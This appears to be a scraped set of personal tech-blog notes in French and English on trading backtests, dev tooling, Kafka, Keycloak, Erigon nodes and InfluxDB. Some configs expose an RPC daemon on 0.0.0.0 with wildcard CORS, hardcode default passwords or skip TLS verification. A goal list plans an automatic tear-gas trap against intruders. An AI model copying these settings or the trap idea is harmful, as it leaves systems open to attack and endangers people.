           print("Buy {} shares at {}".format(self.size, self.data.close[0]))
           self.buy(size=self.size)

        if self.position and self.rmi > self.params.upperband:
                print("Sell {} shares at {}".format(self.size, self.data.close[0]))
                self.close()

Stratégie RSI:

class RSIStrategy(bt.Strategy):

    params = (("upperband", 85), ("lowerband", 25), ("order_percentage", 0.95))

    def __init__(self):
        self.rsi = bt.indicators.RSI(self.data, period=14)

    def next(self):
        if not self.position and self.rsi < self.params.lowerband:
            amount_to_invest = self.params.order_percentage * self.broker.cash
            self.size = math.floor(amount_to_invest / self.data.close)

            print("Buy {} shares at {}".format(self.size, self.data.close[0]))
            self.buy(size=self.size)

        if self.position and self.rsi > self.params.upperband:
            print("Sell {} shares at {}".format(self.size, self.data.close[0]))
            self.close()

Stratégie MACD:

class MACDStrategy(bt.Strategy):

    params = (('ema_12', 12), ('ema_26', 26), ('order_percentage', 0.95))

    def __init__(self):     
        self.fast_ema_12 = bt.indicators.EMA(
            self.data.close, period = self.params.ema_12, plotname = '12 day EMA'
        )

        self.slow_ema_26 = bt.indicators.EMA(
            self.data.close, period = self.params.ema_26, plotname = '26 day EMA'
        )

        self.macd = bt.indicators.MACDHistogram(self.fast_ema_12, self.slow_ema_26)

    def next (self):
        if not self.position and self.macd > 0:
            amount_to_invest = (self.params.order_percentage * self.broker.cash)
            self.size = math.floor(amount_to_invest / self.data.close)

            print("Buy {} shares at {}".format(self.size, self.data.close[0]))
            self.buy(size=self.size)

        if self.position and self.macd < 0:
             print("Sell {} shares at {}".format(self.size, self.data.close[0]))
             self.close()

Et voilà, vous voyez à quel point il est simple de coder des stratégies. Maintenant il ne vous reste plus qu’à être inventif pour créer une stratégie qui vous rapportera de l’argent. Au moins vous avez un outil pour vérifier qu’elle pourrait fonctionner (je dis bien pourrait car le passé ne présage pas le futur)… Je ne suis pas conseiller financier. Je ne recommande pas ces stratégies qui vous aurait fait perdre de l’argent en 2022. Faites vos recherches.

Lorsqu’on installe Kali depuis la librairie de VMs disponibles et qu’on le démarre pour la première fois on a un écran noir.

Pour le fixer, il suffit d’aller dans les settings de la VM et de changer l’emulated display card. Sélectionner virtio-ramfb.

Pensez à configurer la carte réseau en bridge. Et pensez à installer ssh et activer le service sudo service ssh enable && sudo service ssh start. Pensez à sélectionner l’option permettant de faire du USB passthrough et configurer les USB ports en USB 3.0. Pour vérifier que les USB arrivent bien à se connecter sur Kali, utiliser la commande lsusb.

Voilà c’est tout pour le tip.

Retirer le son

ffmpeg -i "source_file.mp4" -ss 00:00:0.0 -t 10 -an "target_file.mp4"

# ffmpeg -threads $(nproc) -i "source_file.mp4" -ss 00:00:0.0 -t 10 -an "target_file.mp4" 

Avec le son

ffmpeg -i "source_file.mp4" -ss 00:00:0.0 -t 10 "target_file.mp4"

Avec le son et garder 10s à partir d'1min51

ffmpeg -i "source_file.mp4" -ss 00:01:51.000 -t 10 "target_file.mp4"

Poetry installation

Option 1

brew install pipx
pipx ensurepath
pipx install poetry

Option 2 (The option I prefer)

If you have pyenv and zsh:

Select the Python version you want to use:

# for example
pyenv global 3.11.2

Then add the following line in your ~/.zshrc file:

eval "$(pyenv init --path)"

Finally install poetry with a simple pip install poetry

direnv configuration

Edit the global .direnvrc file located vim in your home directory and add the following code:

layout_poetry() {
  if [[ ! -f pyproject.toml ]]; then
    log_error 'No pyproject.toml found.  Use `poetry new` or `poetry init` to create one first.'
    exit 2
  fi

  local VENV=$(dirname $(poetry run which python))
  export VIRTUAL_ENV=$(echo "$VENV" | rev | cut -d'/' -f2- | rev)
  export POETRY_ACTIVE=1
  PATH_add "$VENV"
}

Now each time you have a project created with Poetry you simply need to execute the following commands:

echo "layout poetry" >> .envrc
direnv allow

That’s all folks !

Voici donc mon programme pour cette année 2024:

1. Pérennisation trading bots #TopPrio2

• Arbitrage bots
  • Focus DeFi <-> CeFi trades automatiques
  • Monter un nouveau node archive hosté chez moi et noeud TheGraph
  • Monitoring++ et backup/switch auto sur nouveau node.

2. Gérer le prochain bullrun #TopPrio1

• Suivre mon plan défini l’année dernière et améliorer continuellement mes outils de pilotage. Objectif: “ne pas sortir du plan prévu (contrôle absolu des émotions)”
• Et bien sûr être présents virtuellement en automatique (#semaineDe4Heures spirit) pendant les bear traps et phases de paniques.

3. Automatiser et scaler mon jardin hydroponique #TopPrio3

• Arrosage auto avec eps8266 ou alternative (pouvoir “abandonner mon jardin et plantes pendant 3 mois sans risque”).
• “Scaler” dans le sens passer de 2 étagères remplies de légumes à 12.
• Créer un terrarium géant avec effet pluie (décoration intérieur de 2m par 1m et piloté bien sûr). #fun #design

4. Lire 1 livre de développement personnel

5. Créer un plugin Home Assistant pour mieux piloter mon chauffage

• J’ai domotisé mon chauffage au sol en 2023. En 2024 j’aimerais l’optimiser pour que les pics de consommation électriques soient réalisés pendant les heures creuses et prendre en compte la météo. Dès qu’il y a le moindre rayon de soleil la maison en bénéficie car il y a beaucoup de baies vitrées exposées plein sud. Et ce plugin sera en Mojo 🔥! (Pourquoi? -> Continuous learning…)

6. Personnaliser totalement l’interface de Home Assistant avec représentation 3D exacte de mon domicile

• Utilisation de Sweet Home 3D ou autre

7. Level up on try hack me

8. Terminer une formation Swing trading débutée récemment et tester la stratégie proposée

9. Solidity/Uniswap experimentation/test: build my own ERC20 token

10. Lire 1 livre en lien avec mon job principal: continuous learning

11. Diversification++: créer 3 nouveaux portfolios totalement différents

Update: 06 juin 2024 (Salut Champion, si un jour tu lis ce blog, tu m’as inspiré 😀):
J’ajoute un projet fun qui me permettra de coder en Rust sur de l’embedded. Cela a beaucoup de sens par rapport à ma roadmap d’apprentissage de Rust.

12. Continuer à faire du Rust mais avec de l’embedded

• Rust on ESP32 (I am going to build an autonomous defense device. This short project is called: “take that thief!” -> Few (Legal) tear gas devices will protect my house from thieves. The logic is super simple: if a thief is detected when I’m not home -> 💣 automatically. I’ll write an article about it with a demo)

Pré-requis

• Avoir un compte Azure Portal
• Une instance de Saleor exposée sur internet

Configuration d’Azure Entra ID

Personnellement je suis connecté à Azure avec une adresse gmail. Cela devrait fonctionner avec tout autre domaine.

Rendez-vous sur le portail Azure et cliquer sur Microsoft Entra ID. Si vous vous rendez dans la section users via le menu de gauche, vous devriez voir votre adresse email. Vérifier que c’est le cas car nous allons nous connecter avec cette adresse email dans le process de SSO.

Retourner sur la home page d’Azure Entra ID:

Cliquer sur le bouton Add -> App Registration

Indiquer un nom à votre app. Dans mon cas j’ai mais Saleor OIDC dev.

Ensuite, pour Supported account types laissez le bouton radio sélectionné par défaut.

Puis dans Redirect URI (optional), sélectionner Web comme plateforme et indiquez l’URL de redirection de votre dashboard Saleor. Dans mon cas: https://blablabla.saleor.cloud/dashboard/login/callback/.

Une fois votre application enregistrée, cliquer sur le bouton overview dans le menu de gauche sur la page Entra ID du portail Azure et cliquer sur le bouton endpoints tout en haut de la page.

La liste de ces endpoints est utile pour pouvoir configurer Saleor.

Configuration de Saleor

Rendez-vous donc dans le dashboard de Saleor via votre compte admin.

Et cliquez sur le bouton configurer en bas à gauche dans le menu.

Tout en bas de la page configuration, cliquez sur le bouton plugins:

Editer le plugin appelé Openid Connect et configurer le plugin:

• Activer la case Set plugin as active.
• En client ID, entrer la client ID de l’app que vous venez d’enregistrer dans Entra ID.
• Dans OAuth Authorization URL, entrer une URL du type: https://login.microsoftonline.com/blablabla-bla-bla-bla-blablabla/oauth2/v2.0/authorize. (Vous trouverez cette URL dans Entra ID dans la liste des endpoints dont on a parlé plus haut. Idem pour les URLs qui suivent)
• Dans OAuth Token URL, entrer une URL du type https://login.microsoftonline.com/blablabla-bla-bla-bla-blablabla/oauth2/v2.0/token
• Dans JSON Web Key Set URL, entrer une URL du type https://login.microsoftonline.com/blablabla-bla-bla-bla-blablabla/discovery/v2.0/keys
• Dans OAuth logout URL, entrer une URL du type https://login.microsoftonline.com/blablabla-bla-bla-bla-blablabla/oauth2/v2.0/logout
• Dans User info URL, entrer une URL du type https://graph.microsoft.com/oidc/userinfo
• N’indiquer rien dans Audience
• Garder Use OAuth scope permissions désactivé
• Pour Staff user domains, indiquer gmail.com si comme moi vous avez votre email gmail configurée comme User dans Entra.
• Dans Default Permission grous name for staff users, indiquez ce que vous voulez. Dans Saleor vous avez la possibilité de créer des groupes d’utilisateurs avec des rôles particuliers. Dans mon cas j’ai créé un groupe appelé SSO dans Saleor. C’était pour un test, donc ici j’ai indiqué SSO.

Enfin pour Authorization -> Client secret, il vous faudra un secret dans Entra ID. Je me suis fait avoir car il y a 2 valeurs possibles de secret dans Entra ID. Il faut utiliser la value et pas le Secret ID.

Générer donc un secret dans Entra et insérer le dans Saleor.

Et voilà. Il ne vous reste plus qu’à vous connecter à votre instance de Saleor, de cliquer sur le bouton OpenID connect et de vous logguer à Azure portal.

We start by checking if our friend key is aleady registered in our system using the following command:

gpg --list-public-keys

If it’s ok we just have to execute the following command to encrypt our file to share it securly to our friend:

gpg --encrypt --recipient your_friend@email.com secret_file_to_encrypt.txt 

And voila that’s all.

Pour ce faire, il suffit d’utiliser un proxy socks. Si vous avez une VM sur le cloud accessible directement via SSH, vous pouvez utiliser les commandes suivantes:

Dans un premier onglet de votre terminal exécuter la commande suivante:

ssh -D 6006 -q -C -N user@ip_or_reverse_dns

Puis dans un second onglet:

curl https://ipinfo.io/ip # Résultat: IP dynamique
export http_proxy=http://127.0.0.1:6006
export https_proxy=http://127.0.0.1:6006
curl https://ipinfo.io/ip # Résultat: IP de votre remote VM

That’s it as simple as that.

Si vous utilisez Python, vous aurez besoin du package pip install pysocks

Installer les packages suivants:

brew install zlib
brew install sqlite
brew install bzip2
brew install libiconv
brew install libzip

Ouvrir le fichier ~/.zshrc et ajouter les lignes suivantes:

export LDFLAGS="${LDFLAGS} -L/usr/local/opt/zlib/lib"
export CPPFLAGS="${CPPFLAGS} -I/usr/local/opt/zlib/include"
export LDFLAGS="${LDFLAGS} -L/usr/local/opt/sqlite/lib"
export CPPFLAGS="${CPPFLAGS} -I/usr/local/opt/sqlite/include"
export PKG_CONFIG_PATH="${PKG_CONFIG_PATH} /usr/local/opt/zlib/lib/pkgconfig"
export PKG_CONFIG_PATH="${PKG_CONFIG_PATH} /usr/local/opt/sqlite/lib/pkgconfig"

Installer une nouvelle version de Python via pyenv. Par exemple:

pyenv install 3.10.11

Et voilà torch fonctionne… Je peux finir mon script d’Upscaling d’anciennes photos de famille.

Pré-requis

• direnv installé

Installation

On commence par installer Anaconda via brew

brew install --cask anaconda

On édite ~/.zshrc et on ajoute le path vers les binaires d’Anaconda.

export PATH="/opt/homebrew/anaconda3/bin:$PATH"

Nouvel environnement anaconda

Si votre projet contient un fichier environment.yml, les packages s’installeront automatiquement lors de la première exécution du direnv allow.

Créer un fichier .envrc et ajouter simplement le layout suivant: layout anaconda.

Et c’est tout, c’est aussi simple que cela. Enregistrer les modifications de votre fichier .envrc, exécuter la fameuse commande direnv allow et vous voilà dans un environnement anaconda.

Le son n’est pas de très bonne qualité mais voici la présentation du Meetup (démarrage du REX à partir de la minute 4):

Pré-requis

brew install recode

Commande

echo "string #1." | recode html..ascii

Dans cet article très rapide, nous allons voir comment installer Kafka (et Zookeeper) sur Kubernetes (ou avoir une version pour développer en local)

Installation de l’opérateur Strimzi

kubectl create namespace kafka
kubectl create -f 'https://strimzi.io/install/latest?namespace=kafka' -n kafka
kubectl get pod -n kafka --watch
kubectl logs deployment/strimzi-cluster-operator -n kafka -f

Création du cluster

kubectl apply -f https://strimzi.io/examples/latest/kafka/kafka-persistent-single.yaml -n kafka
kubectl wait kafka/my-cluster --for=condition=Ready --timeout=300s -n kafka

Envoyer et recevoir des messages

# Envoyer
kubectl -n kafka run kafka-producer -ti --image=quay.io/strimzi/kafka:0.34.0-kafka-3.4.0 --rm=true --restart=Never -- bin/kafka-console-producer.sh --bootstrap-server my-cluster-kafka-bootstrap:9092 --topic my-topic

# Recevoir
kubectl -n kafka run kafka-consumer -ti --image=quay.io/strimzi/kafka:0.34.0-kafka-3.4.0 --rm=true --restart=Never -- bin/kafka-console-consumer.sh --bootstrap-server my-cluster-kafka-bootstrap:9092 --topic my-topic --from-beginning

Effacer le cluster

kubectl -n kafka delete $(kubectl get strimzi -o name -n kafka)

Effacer l’opérateur

kubectl -n kafka delete -f 'https://strimzi.io/install/latest?namespace=kafka'

Autres

Tip 1

Dans le cas ou vous souhaitez récupérer des YAML distants en local (pour les backuper dans git par exemple) et les appliquer ensuite, on peut aussi utiliser la commande suivante:

cat <<EOF | kubectl create -n kafka -f -
apiVersion: kafka.strimzi.io/v1beta2
...
EOF

Tip 2

Sinon en local, il y a toujours l’option docker-compose qui est simple et efficace…

version: '3'
services:
  zookeeper:
    image: confluentinc/cp-zookeeper:latest
    environment:
      ZOOKEEPER_CLIENT_PORT: 2181
      ZOOKEEPER_TICK_TIME: 2000
    restart: always
    ports:
      - 22181:2181

  kafka:
    image: confluentinc/cp-kafka:latest
    depends_on:
      - zookeeper
    restart: always
    ports:
      - 29092:29092
    environment:
      KAFKA_BROKER_ID: 1
      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1

The purpose of the short article is the describe the commands to launch a Keycloak instance on your local dev environment. For production purpose I would suggest a Kubernetes deployment.

Option 1 (without docker-compose)

Create Docker Network

docker network create keycloak-network

Launch Postgres DB

export POSTGRES_KEYCLOAK_PWD=""
docker run --name postgres --net keycloak-network -e POSTGRES_DB=keycloak -e POSTGRES_USER=keycloak -e POSTGRES_PASSWORD=$POSTGRES_KEYCLOAK_PWD -p 5432:5432 postgres

Launch Keyclaok instance and pass it Postgres environment variables

docker run --name keycloak --net keycloak-network -p 8080:8080 -e DB_ADDR=postgres -e DB_USER=keycloak -e DB_PASSWORD=$POSTGRES_KEYCLOAK_PWD jboss/keycloak:16.1.1

Create a Keycloak admin user

# Get the Keycloak container id
docker ps
export CONTAINER_ID=...
docker exec -it $CONTAINER_ID bash
cd /opt/jboss/keycloak/bin/
./add-user.sh -u your_username -p your_password --silent
./add-user-keycloak.sh -u your_username -p your_password
exit
docker restart $CONTAINER_ID

Now you can go to http://localhost:8080 and connect using the admin account you just created.

Option 2 (with docker-compose way easier)

Simply create a file called docker-compose.yml and add the following content:

version: '3'

volumes:
  postgres_data:
      driver: local

services:
  postgres:
      image: postgres
      volumes:
        - postgres_data:/var/lib/postgresql/data
      environment:
        POSTGRES_DB: keycloak
        POSTGRES_USER: keycloak
        POSTGRES_PASSWORD: password
      ports:
        - 5432:5432
  keycloak:
      image: jboss/keycloak:16.1.1
      environment:
        DB_VENDOR: POSTGRES
        DB_ADDR: postgres
        DB_DATABASE: keycloak
        DB_USER: keycloak
        DB_SCHEMA: public
        DB_PASSWORD: password
        KEYCLOAK_USER: admin
        KEYCLOAK_PASSWORD: Pa55w0rd
        # Uncomment the line below if you want to specify JDBC parameters. The parameter below is just an example, and it shouldn't be used in production without knowledge. It is highly recommended that you read the PostgreSQL JDBC driver documentation in order to use it.
        #JDBC_PARAMS: "ssl=true"
      ports:
        - 8080:8080
      depends_on:
        - postgres

And then simply execute docker-compose up

Run Keycloak on Apple M1/M2 processors

Si vous voulez faire tourner Keycloak, dans sa version actuelle 16.1.1, sur un Mac équipé d’un processeur M1/M2, alors vous devez le builder vous-même sur votre Mac.

export VERSION=16.1.1

cd /tmp
git clone git@github.com:keycloak/keycloak-containers.git
cd keycloak-containers/server
git checkout $VERSION
docker build -t "jboss/keycloak:${VERSION}" .

# docker build -t "quay.io/keycloak/keycloak:${VERSION}" .

Voir l’article suivant pour une full installation.

Bien sûr commencer par un backup. Voir cet article

Erigon build

mkdir /root/erigon_release_2_38_1/
cd /root/erigon_release_2_38_1/
git clone https://github.com/ledgerwatch/erigon.git
cd erigon
git checkout 52fd6d60e180a267e99a25662f169797570e356e
make erigon
make rpcdaemon

Création du service

vim /etc/systemd/system/erigon.service

[Unit]
Description=Erigon Node
After=network.target network-online.target
Wants=network-online.target

[Service]
WorkingDirectory=/root/erigon_release_2_38_1/erigon/
ExecStart=/root/erigon_release_2_38_1/erigon/build/bin/erigon --datadir=/erigon --private.api.addr=localhost:9090 --prune=hrtc --prune.h.older=90000 --prune.r.older=90000 --prune.t.older=90000 --prune.c.older=90000 --metrics --metrics.addr=localhost --metrics.port=6060 --http=false --authrpc.jwtsecret /root/ethereum/consensus/prysm/jwt.hex
User=root
Restart=always
RestartSec=5s

# Output to syslog
StandardOutput=syslog
StandardError=syslog
#Change this to find app logs in /var/log/syslog
SyslogIdentifier=erigon

[Install]
WantedBy=multi-user.target

Création du second service

vim /etc/systemd/system/erigon-rpc.service

[Unit]
Description=Erigon RPC Daemon

[Service]

WorkingDirectory=/root/erigon_release_2_38_1/erigon/
ExecStart=/root/erigon_release_2_38_1/erigon/build/bin/rpcdaemon --datadir=/erigon --private.api.addr=localhost:9090 --http.vhosts '*' --http.port 8545 --http.addr 0.0.0.0 --http.corsdomain '*' --http.api=eth,erigon,web3,net,debug,trace
User=root
Restart=always
RestartSec=5s

# Output to syslog
StandardOutput=syslog
StandardError=syslog
#Change this to find app logs in /var/log/syslog
SyslogIdentifier=erigon-rpc

[Install]
WantedBy=multi-user.target

On active et démarre les services

systemctl daemon-reload
systemctl enable erigon
systemctl enable erigon-rpc
systemctl start erigon
systemctl start erigon-rpc

Troubleshooting

journalctl -f -u erigon
journalctl -f -u erigon-rpc
tail -f /var/log/prysm.log

Vérifier la synchronisation

curl -X POST -H "Content-Type: application/json" --data '{"jsonrpc": "2.0", "method":
"eth_blockNumber", "params": [], "id":1}' localhost:8545 | jq -r ".result" | awk '{ printf "%d\n", $1 }'

Les liens ne sont pas des liens d’affiliation. Je fais 0 pub, mets 0 cookie et fais 0 tracking sur ce blog type “personal notes”.

• SirayaTech Build (le top du top et surtout pour des pièces qui nécessitent une résistence à la chaleur. Max 100°C)
• Mélange de 50% de résine SirayaTech Build et 50% SirayaTech Tanacious (impression facile, dur, pas cassant, max 75°C)
• Mélange de 50% SirayaTech Build et 50% de Phrozen Nylon Green (impression facile, un peu cassant mais élastique, max 75°C)
• SirayaTech Tanacious (impression moyennement difficile, élastique, pas cassan, max 40°C)
• Phrozen Nylon Green Tough, (impression moyennement difficile, élastique, pas cassant, max 55°C)
• SirayaTech Simple (pour les grands débutants, très dur, cassant, max 70°C)
• Anycubic UV Tough Resin (impression facile, moyennement cassant, max 50°C)

Voilà c’est tout, le tip pour les makers.

var (
	Snapshots           SyncStage = "Snapshots"       // Snapshots
	Headers             SyncStage = "Headers"         // Headers are downloaded, their Proof-Of-Work validity and chaining is verified
	CumulativeIndex     SyncStage = "CumulativeIndex" // Calculate how much gas has been used up to each block.
	BlockHashes         SyncStage = "BlockHashes"     // Headers Number are written, fills blockHash => number bucket
	Bodies              SyncStage = "Bodies"          // Block bodies are downloaded, TxHash and UncleHash are getting verified
	Senders             SyncStage = "Senders"         // "From" recovered from signatures, bodies re-written
	Execution           SyncStage = "Execution"       // Executing each block w/o buildinf a trie
	Translation         SyncStage = "Translation"     // Translation each marked for translation contract (from EVM to TEVM)
	VerkleTrie          SyncStage = "VerkleTrie"
	IntermediateHashes  SyncStage = "IntermediateHashes"  // Generate intermediate hashes, calculate the state root hash
	HashState           SyncStage = "HashState"           // Apply Keccak256 to all the keys in the state
	AccountHistoryIndex SyncStage = "AccountHistoryIndex" // Generating history index for accounts
	StorageHistoryIndex SyncStage = "StorageHistoryIndex" // Generating history index for storage
	LogIndex            SyncStage = "LogIndex"            // Generating logs index (from receipts)
	CallTraces          SyncStage = "CallTraces"          // Generating call traces index
	TxLookup            SyncStage = "TxLookup"            // Generating transactions lookup index
	Finish              SyncStage = "Finish"              // Nominal stage after all other stages

	MiningCreateBlock SyncStage = "MiningCreateBlock"
	MiningExecution   SyncStage = "MiningExecution"
	MiningFinish      SyncStage = "MiningFinish"
	// Beacon chain stages
	BeaconHistoryReconstruction SyncStage = "BeaconHistoryReconstruction" // BeaconHistoryReconstruction reconstruct missing history.
	BeaconBlocks                SyncStage = "BeaconBlocks"                // BeaconBlocks are downloaded, no verification
	BeaconState                 SyncStage = "BeaconState"                 // Beacon blocks are sent to the state transition function
	BeaconIndexes               SyncStage = "BeaconIndexes"               // Fills up Beacon indexes

)

Source: https://pkg.go.dev/github.com/ledgerwatch/erigon/eth/stagedsync/stages

Organisation des données sur Erigon

https://github.com/ledgerwatch/erigon/blob/devel/docs/programmers_guide/db_walkthrough.MD

• Info sur les events: https://github.com/ledgerwatch/erigon/blob/devel/docs/programmers_guide/db_walkthrough.MD#table-receipts-1
  
  
• Accéder à la DB d’Erigon en local via Python sans RPC call via https://lmdb.readthedocs.io/en/release/

Architecture d’Erigon

https://erigon.substack.com/p/architecture-of-erigon-separable?s=w

Dans cet article nous allons voir comment exécuter du code bloquant dans un runtime async en Rust.

Schéma visuel

Thread principal (async)                    Thread bloquant
     |                                           |
     | spawn_blocking() -----------------------> |
     |   (retourne immédiatement)                |
     |                                           | get_btc_stablecoin_pairs_sync()
     | .await                                    | (appel synchrone à Binance)
     |   (attend sans bloquer)                   |
     |                                           | (traitement...)
     | <--------------------------------------- |
     |   (résultat reçu)                        |
     |                                           |
     | .map_err() - gère JoinError              |
     | .map_err() - gère erreur métier          |
     |                                           |
     v                                           v

Example de code

let btc_pairs = tokio::task::spawn_blocking(get_btc_stablecoin_pairs_sync)
    .await
    .map_err(|e| format!("Task join error: {}", e))?
    .map_err(|e| format!("Error getting pairs: {}", e))?;

Equivalent avec annotations:

Décomposition étape par étape

pub async fn stream_btc_stablecoin_pairs() -> Result<(), Box<dyn std::error::Error>> {
    log::info!("Fetching BTC/stablecoin pairs...");
    
    // 1. Spawner un thread bloquant (retourne JoinHandle immédiatement)
    let join_handle = tokio::task::spawn_blocking(get_btc_stablecoin_pairs_sync);
    
    // 2. Attendre le résultat du thread (async, ne bloque pas le runtime)
    let join_result: Result<Result<Vec<String>, String>, JoinError> = join_handle.await;
    
    // 3. Gérer l'erreur de join (si le thread a paniqué)
    let inner_result: Result<Vec<String>, String> = join_result
        .map_err(|e| format!("Task join error: {}", e))?;
    
    // 4. Gérer l'erreur métier (si l'API a échoué)
    let btc_pairs: Vec<String> = inner_result
        .map_err(|e| format!("Error getting pairs: {}", e))?;
    

    
    // Reste du code...
    log::info!("Found {} BTC/stablecoin pairs", btc_pairs.len());
    // ...
}

Ce qu’il s’est passé étape par étape:

1. tokio::task::spawn_blocking(get_btc_stablecoin_pairs_sync)

   • Lance la fonction get_btc_stablecoin_pairs_sync dans un thread dédié aux opérations bloquantes
   • Retourne immédiatement un JoinHandle<Result<Vec<String>, String>>
   • Cette fonction ne bloque pas le runtime async

2. .await

   • On attend (de manière async) que le thread bloquant termine
   • Pendant ce temps, le runtime tokio peut exécuter d’autres tâches
   • Retourne Result<Result<Vec<String>, String>, JoinError>
   • Le premier Result vient du .await (erreur de join)
   • Le second Result vient de notre fonction (erreur métier)

3. Premier .map_err(...)?

   • Gère l’erreur de JoinError (si le thread a paniqué)
   • Transforme Result<Result<Vec<String>, String>, JoinError> en Result<Vec<String>, String>

4. Deuxième .map_err(...)?

   • Gère l’erreur de notre fonction (si l’API Binance a échoué)
   • Transforme le Result<Vec<String>, String> en Vec<String> ou propage l’erreur

Résumé

• spawn_blocking : “Lance ce code bloquant dans un thread dédié”
• .await : “Attends (sans bloquer) que ce thread termine”
• Les deux .map_err()? : “Gère les deux niveaux d’erreurs possibles”

Dans cet article très court nous allons donc voir comment formater un disk de backup (ici sda), le monter sur Debian et l’utiliser pour backuper Erigon.

Pré-requis: apt-get install progress (petit utilitaire utile pour suivre la progression de la copie entre 2 disques tellement la DB est volumineuse)

Lister les disques présent

lsblk -f

Formatage en ext4

mkfs -t ext4 /dev/sda1
lsblk -f

Montage

mkdir -p /backup
mount -t auto /dev/sda1 /backup

Backup

systemctl stop erigon-rpc.service
systemctl stop erigon.service
cp -R /backup/erigon /backup/erigon-$(date +"%d-%m-%Y")
rm -r /backup/erigon
cp -R /erigon /backup/erigon & progress -mp $!
# Alternative
# time rsync -a --info=progress2 --stats /erigon /backup/erigon
systemctl start erigon.service
systemctl start erigon-rpc.service

Voilà maintenant je peux tester l’upgrade d’Erigon sans trop de risque.

import requests
import datetime
import pandas as pd
import numpy as np

start_date = "2022-01-01"
end_date = "2022-01-31"
interval = "1m"
symbol = "BTCUSDT"


def get_binance_data(
    ticker: str,
    interval: str = "4h",
    limit: int = 500,
    start: str = "2018-01-01 00:00:00",
) -> pd.DataFrame:
    """Get X (limit) OHLCV entries from Binance"""
    columns = [
        "open_time",
        "open",
        "high",
        "low",
        "close",
        "volume",
        "close_time",
        "qav",
        "num_trades",
        "taker_base_vol",
        "taker_quote_vol",
        "ignore",
    ]
    start = int(datetime.datetime.timestamp(pd.to_datetime(start)) * 1000)
    base_url = "https://www.binance.com/api/v3/klines"
    query_params = (
        f"?symbol={ticker}&interval={interval}&limit={limit}&startTime={start}"
    )
    url = base_url + query_params
    data = pd.DataFrame(
        requests.get(url).json(), columns=columns, dtype=np.float
    )
    data.index = [
        pd.to_datetime(x, unit="ms").strftime("%Y-%m-%d %H:%M:%S")
        for x in data.open_time
    ]
    use_cols = [
        "open",
        "high",
        "low",
        "close",
        "volume",
        "qav",
        "num_trades",
        "taker_base_vol",
        "taker_quote_vol",
    ]
    data = data[use_cols]
    return data


if __name__ == "__main__":
    df = get_binance_data("BTCUSDT", "1m")
    print(df.head())

Résultat:

                         open      high       low  ...  num_trades  taker_base_vol  taker_quote_vol
2017-12-31 23:00:00  13829.97  13829.99  13804.29  ...        44.0        1.164005     16097.885201
2017-12-31 23:01:00  13829.97  13829.97  13788.86  ...        57.0        2.079160     28704.375784
2017-12-31 23:02:00  13788.88  13804.27  13784.61  ...        57.0        1.619601     22352.031033
2017-12-31 23:03:00  13799.98  13799.98  13777.59  ...        71.0        3.725320     51357.627303
2017-12-31 23:04:00  13788.83  13788.83  13700.01  ...        91.0        2.388566     32905.122453

Installation de Docker

apt install docker.io

curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

chmod +x /usr/local/bin/docker-compose

On active ensuite le service:

systemctl enable docker
systemctl start docker

Installation d’InfluxDB

Une fois Docker et docker-compose installés, on peut créer nos fichiers docker-compose.yml, influx.env et telegraf.conf.

Contenu du fichier docker-compose.yml:

version: '3'

services:
  influxdb:
    image: influxdb:2.6-alpine
    restart: always
    env_file:
      - influxv2.env
    volumes:
      # Mount for influxdb data directory and configuration
      - influxdbv2:/var/lib/influxdb2:rw
    ports:
      - "8086:8086"
  telegraf:
    image: telegraf:1.25-alpine
    restart: always
    depends_on:
      - influxdb
    volumes:
      # Mount for telegraf config
      - ./telegraf.conf:/etc/telegraf/telegraf.conf:ro
    env_file:
      - influxv2.env

volumes:
  influxdbv2:

Contenu du fichier telegraf.conf:

# Configuration for telegraf agent
[agent]
  ## Default data collection interval for all inputs
  interval = "10s"
  ## Rounds collection interval to 'interval'
  ## ie, if interval="10s" then always collect on :00, :10, :20, etc.
  round_interval = true

  ## Telegraf will send metrics to outputs in batches of at most
  ## metric_batch_size metrics.
  ## This controls the size of writes that Telegraf sends to output plugins.
  metric_batch_size = 1000

  ## For failed writes, telegraf will cache metric_buffer_limit metrics for each
  ## output, and will flush this buffer on a successful write. Oldest metrics
  ## are dropped first when this buffer fills.
  ## This buffer only fills when writes fail to output plugin(s).
  metric_buffer_limit = 10000

  ## Collection jitter is used to jitter the collection by a random amount.
  ## Each plugin will sleep for a random time within jitter before collecting.
  ## This can be used to avoid many plugins querying things like sysfs at the
  ## same time, which can have a measurable effect on the system.
  collection_jitter = "0s"

  ## Default flushing interval for all outputs. Maximum flush_interval will be
  ## flush_interval + flush_jitter
  flush_interval = "10s"
  ## Jitter the flush interval by a random amount. This is primarily to avoid
  ## large write spikes for users running a large number of telegraf instances.
  ## ie, a jitter of 5s and interval 10s means flushes will happen every 10-15s
  flush_jitter = "0s"

  ## By default or when set to "0s", precision will be set to the same
  ## timestamp order as the collection interval, with the maximum being 1s.
  ##   ie, when interval = "10s", precision will be "1s"
  ##       when interval = "250ms", precision will be "1ms"
  ## Precision will NOT be used for service inputs. It is up to each individual
  ## service input to set the timestamp at the appropriate precision.
  ## Valid time units are "ns", "us" (or "µs"), "ms", "s".
  precision = ""

  ## Logging configuration:
  ## Run telegraf with debug log messages.
  debug = false
  ## Run telegraf in quiet mode (error log messages only).
  quiet = false
  ## Specify the log file name. The empty string means to log to stderr.
  logfile = ""

  ## Override default hostname, if empty use os.Hostname()
  hostname = ""
  ## If set to true, do no set the "host" tag in the telegraf agent.
  omit_hostname = false
[[outputs.influxdb_v2]]	
  ## The URLs of the InfluxDB cluster nodes.
  ##
  ## Multiple URLs can be specified for a single cluster, only ONE of the
  ## urls will be written to each interval.
  ## urls exp: http://127.0.0.1:8086
  urls = ["http://influxdb:8086"]

  ## Token for authentication.
  token = "${DOCKER_INFLUXDB_INIT_ADMIN_TOKEN}"
  
  ## Organization is the name of the organization you wish to write to; must exist.
  organization = "${DOCKER_INFLUXDB_INIT_ORG}"
  
  ## Destination bucket to write into.
  bucket = "${DOCKER_INFLUXDB_INIT_BUCKET}"

  insecure_skip_verify = true

[[inputs.cpu]]
  ## Whether to report per-cpu stats or not
  percpu = true
  ## Whether to report total system cpu stats or not
  totalcpu = true
  ## If true, collect raw CPU time metrics.
  collect_cpu_time = false
